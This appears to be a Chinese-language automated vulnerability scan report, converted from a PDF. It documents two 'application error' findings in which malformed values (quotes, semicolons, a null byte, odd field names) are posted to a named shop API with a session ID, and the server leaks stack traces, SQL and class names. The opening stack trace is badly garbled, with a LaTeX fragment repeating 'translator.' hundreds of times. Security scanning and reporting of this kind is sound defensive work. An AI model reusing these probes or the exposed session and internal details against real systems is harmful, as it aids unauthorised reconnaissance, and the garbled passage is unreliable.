Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
. . .
 "data": [
                           错误代码:LUO003C\r\n错误信息:查询商品分类失败
  "msq": "e
\r\nStackTrace:org.springframework.dao.DataIntegrityViolationException: \n### Error querying
database. Cause: org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding
\"UTF8\": 0x00\n### The error may exist in URL [jar:file:/apps/rest/goods/vr-goods-rest-
enterprise-1.0.0-SNAPSHOT.jar!/mybatisMap/PubGoodsclassMapper.xml]\n### The error may involve
com.suneee.scn.goods.dao.PubGoodsclassDao.queryBycodename-Inline\n### The error occurred while
setting parameters\n### SQL: select enterpriseid, classid, classcode, classname, level,
endflag, status,parentcode,imgurl,seq from pub_goodsclass where 1=1 and enterpriseid=? and classcode like CONCAT('',?,'%') order by classid\n### Cause: org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding \"UTF8\":
0x00\n; SQL []; ERROR: invalid byte sequence for encoding \"UTF8\": 0x00; nested exception is
org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding \"UTF8\": 0x00\n\tat
org.springframework.jdbc.support.SQLStateSQLExceptionTranslator.doTranslate(SQLStateSQLExceptionT
ranslator.java:102) \n\tat
org.spring framework.jdbc.support.AbstractFallback \\ \frac{SQLException}{Translator.translate(AbstractFallback)} \\ \frac{SQLException}{Translator.translator.translate(AbstractFallback)} \\ \frac{SQLException}{Translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.translator.
kSQLExceptionTranslator.java:73) \n\tat
org.springframework.jdbc.support.AbstractFallbackSQLExceptionTranslator.translate(AbstractFallbac
kSQLExceptionTranslator.java:81) \n\tat
org.springframework.jdbc.support.AbstractFallbackSQLExceptionTranslator.translate(AbstractFallbac
kSQLExceptionTranslator.java:81) \n\tat
ator.java:74) \n\tat
\tat com.sun.proxy.$Proxy31.selectList(Unknown Source)\n\tat
org.mybatis.spring.SqlSessionTemplate.selectList(SqlSessionTemplate.java:205)\n\tat
org.apache.ibatis.binding.MapperMethod.executeForMany(MapperMethod.java:114)\n\tat
org.apache.ibatis.binding.MapperMethod.execute(MapperMethod.java:58) \n\tat
com.sun.proxy.$Proxy49.queryBycodename(Unknown Source) \n\tat
```

```
\verb|com.suneee.scn.goods.service.PubGoodsclassService.getcodeByclasscode(PubGoodsclassService.java: 21 | Anti-Article | Anti-A
\verb|com.sunee.scn.goods.consumer.impl.PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcodeByclasscode(PubGoodsclassConsumer.getcode(PubGoodsclassConsumer.getcodeByclassConsumer.getcode(PubGoodsclassConsumer.getcodeByclassConsumer.getcodeByclassConsumer.getcodeByclassConsumer.getcode(PubGoodsclassConsumer.getcodeByclassConsumer.getcodeByclassConsumer.getcodeByclassConsumer.getcodeByclassConsumer.getcodeByclassConsumer.getcodeByclassConsumer.getcodeByclassConsumer.getcodeByclassConsumer.getcodeByclassConsumer.getcodeByclassConsumer.getcodeByclassConsumer.getcodeByclassConsumer.getcodeByclassConsumer.getcodeByclassConsumer.getcod
.java:164) \n\tat com.suneee.scn.goods.consumer.impl.PubGoodsclass
. . .
ead0(RequestHandler.java:52)\n\tat
\verb|io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.ja)| \\
va:363) \n\tat
io.netty.channel.AbstractChannelHandlerContext.access$600(AbstractChannelHandlerContext.java:38)
n\tat
io.netty.channel.AbstractChannelHandlerContext$7.run(AbstractChannelHandlerContext.java:354)\n\ta
{\tt io.netty.util.concurrent.SingleThreadEventExecutor.runAllTasks} (SingleThreadEventExecutor.java: 403) \\
)\n\tat io.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:445)\n\tat
io.netty.util.concurrent.SingleThreadEventExecutor$5.run(SingleThreadEventExecutor.java:858)\n\ta
io.netty.util.concurrent.DefaultThreadFactory$DefaultRunnableDecorator.run(DefaultThreadFactory.j
ava:144) \n\tat java.lang. Thread.run (Thread.java:745) \nCaused by:
org.postgresql.util.PSQLException: ERROR: invalid byte sequence for encoding \"UTF8\": 0x00\n\tat
org.postgresql.core.v3.QueryExecutorImpl.receiveErrorResponse(QueryExecutorImpl.java:2182)\n\tat
org.postgresql.core.v3.QueryExecutorImpl.processResults(QueryExecutorImpl.java:1911) \n\tat
org.postgresql.core.v3.QueryExecutorImpl.execute(QueryExecutorImpl.java:173) \n\tat
at org.postgresql.jdbc2.AbstractJdbc2Statement.execute(AbstractJdbc2Statement.java:461)\n\tat
\verb|com.alibaba.druid.pool.DruidPooledPreparedStatement.execute | OruidPooledPreparedStatement.java: 493 | PooledPreparedStatement.java | PooledPreparedSta
0)\n\tat org.apa
. . .
```

问题 33 / 43 Toc

应用程序错误	
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsonoffdetail/updateGoodsOnOff
实体:	->"goodsonoff"[0]->"status" (Parameter)
实体: 风险:	->"goodsonoff"[0]->"status" (Parameter) 可能会收集敏感的调试信息
	, ,

变体-|1/10

差异: 参数 从以下位置进行控制: ① 至: ① IXYZ

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 89
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                "enterpriseid": 55,
                "goodsid": 105190,
                "departmentid": 1670,
                "status": "
                                1XYZ"
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:20 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '1XYZ': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@59973c86; line: 1, column: 71] (through reference
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["status"])
```

变体- | 2 / 10

差异: 参数 从以下位置进行控制: (->"goodsonoff"[0]->"status" 至: ORIG VAL .

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 **测试请求和响应**:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 85
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": 55,
                 "goodsid": 105190,
                 "departmentid": 1670,
                 "status.": 1
```

```
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with,content-type,sessionid
Server: openresty
Access-Control-Allow-Methods: GET,POST,HEAD,PUT,DELETE,OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:20 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Unrecognized field "status." (Class com.suneee.scn.goods.model.dbo.PubGoodsonoffDO), not marked as ignorable
at [Source: io.netty.buffer.ByteBufInputStream@12303c4c; line: 1, column: 83] (through reference chain: com.suneee.scn.goods.model.dbo.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["status."])
```

变体-|3/10

差异: 参数 从以下位置进行控制: 1 至: 827

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 86
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": 55,
                 "goodsid": 105190,
                 "departmentid": 1670,
                 "status": "'"
}
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:21 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value ''': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@1fd6c228; line: 1, column: 71] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["status"])
```

变体- | 4 / 10

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 86
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": 55,
                 "goodsid": 105190,
                 "departmentid": 1670,
                 "status[]": 1
        1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: close
Date: Fri, 12 Jan 2018 03:22:21 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Unrecognized field "status[]" (Class com.suneee.scn.goods.model.dbo.PubGoodsonoffDO), not marked
at [Source: io.netty.buffer.ByteBufInputStream@7ce6760d; line: 1, column: 84] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["status[]"])
```

变体- | 5 / 10

测试请求和响应:

差异: 参数 从以下位置进行控制: ① 至: ('

Content-Type: application/json; charset=UTF-8

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 88
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
```

```
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": 55,
                 "goodsid": 105190,
                 "departmentid": 1670,
                 "status": "\
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:21 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '\'': not a valid Long value
 at [Source: io.netty.buffer.ByteBufInputStream@657a184f; line: 1, column: 71] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["status"])
```

变体- | 6 / 10

差异:

参数 从以下位置进行控制: 1 至: ;

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 86
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
{\tt Host: vr-goods-rest-enterprise.mall.xt.weilian.cn}
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": 55,
                 "goodsid": 105190,
                 "departmentid": 1670,
                 "status": ";"
        1
}
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:21 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value ';': not a valid Long value
```

```
at [Source: io.netty.buffer.ByteBufInputStream@6c6134bd; line: 1, column: 71] (through reference chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]->com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["status"])
```

变体-|7/10

差异: 参数 从以下位置进行控制: ① 至: "

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 87
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
        "goodsonoff": [
                 "enterpriseid": 55,
                 "goodsid": 105190,
                 "departmentid": 1670,
                 "status": "\""
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:21 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '"': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@5603d900; line: 1, column: 71] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["status"])
```

变体- | 8 / 10

差异: 参数 从以下位置进行控制: ① 至: \"

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 89
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
```

```
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": 55,
                 "goodsid": 105190,
                 "departmentid": 1670,
                 "status": "\\
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:21 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '\"': not a valid Long value
 at [Source: io.netty.buffer.ByteBufInputStream@61bcaf9b; line: 1, column: 71] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["status"])
```

变体-|9/10

差异: 参数 从以下位置进行控制: ① 至:)

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。 测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 86
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": 55,
                 "goodsid": 105190,
                 "departmentid": 1670,
                 "status": ")"
        1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
```

```
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:21 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked

Can not construct instance of java.lang.Long from String value ')': not a valid Long value at [Source: io.netty.buffer.ByteBufInputStream@3cb5cec8; line: 1, column: 71] (through reference chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["status"])
```

变体- | 10 / 10

差异:

参数 从以下位置进行控制: ○ 至: OXYZ

推理:

应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsonoffdetail/updateGoodsOnOff HTTP/1.1
Content-Length: 89
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsonoff": [
                 "enterpriseid": 55,
                 "departmentid": 1670,
                 "goodsid": 105190,
                "status": "
        1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:21 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value 'OXYZ': not a valid Long value
at [Source: io.netty.buffer.ByteBufInputStream@796c2c9f; line: 1, column: 71] (through reference
chain: com.suneee.scn.goods.model.dto.PubGoodsonoff["goodsonoff"]-
>com.suneee.scn.goods.model.dbo.PubGoodsonoffDO["status"])
```

问题 **34 / 43** Toc

应用程序错误	
严重性:	参考
CVSS 分数:	0.0
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/updateGoodsStock
实体:	->"goodsid" (Parameter)
风险:	可能会收集敏感的调试信息
原因:	未对入局参数值执行适当的边界检查 未执行验证以确保用户输入与预期的数据类型匹配
固定值:	验证参数值是否在其预计范围和类型内。不要输出调试错误消息和异常

变体-|1/10

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 57
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
"goodsid": "\u0000",
"stockqty": "+12",
 "departmentid": 1670
HTTP/1.1 500 Internal Server Error
Content-Length: 0
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:46 GMT
Content-Type: text/plain; charset=UTF-8
```

变体-|2/10

差异: 参数 从以下位置进行控制: 105190 至: 105190xyz

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 60
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": "
                   105190XYZ",
 "stockqty": "+12",
 "departmentid": 1670
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:24 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
Can not construct instance of java.lang.Long from String value '105190XYZ': not a valid Long
value
at [Source: io.netty.buffer.ByteBufInputStream@557fe778; line: 1, column: 2] (through reference
chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["goodsid"])
```

变体- | 3 / 10

差异: 参数 从以下位置进行控制: ->"goodsid" 至: ORIG VAL .

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 56
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json;charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid.": 105190,
 "stockqty": "+12",
 "departmentid": 1670
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:24 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
```

```
Unrecognized field "goodsid." (Class com.suneee.scn.goods.model.dbo.PubGoodsStock), not marked as ignorable at [Source: io.netty.buffer.ByteBufInputStream@26d46e77; line: 1, column: 19] (through reference chain: com.suneee.scn.goods.model.dbo.PubGoodsStock["goodsid."])
```

变体- | 4 / 10

差异: 参数 从以下位置进行控制: 105190 至: -

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 51
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
{\tt Host: vr-goods-rest-enterprise.mall.xt.weilian.cn}
Connection: keep-alive
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/json; charset=UTF-8
Accept-Language: en-US, en; q=0.8
 "goodsid": "",
 "stockqty": "+12",
 "departmentid": 1670
HTTP/1.1 500 Internal Server Error
Content-Length: 0
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:46 GMT
Content-Type: text/plain; charset=UTF-8
```

变体-|5/10

推理: 应用程序以错误消息响应,表示可能会泄露敏感信息的未定义状态。

测试请求和响应:

```
POST /goodsRestApi/updateGoodsStock HTTP/1.1
Content-Length: 57
sessionId: c5b8689a1098705cd3ffdff0d57563a1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
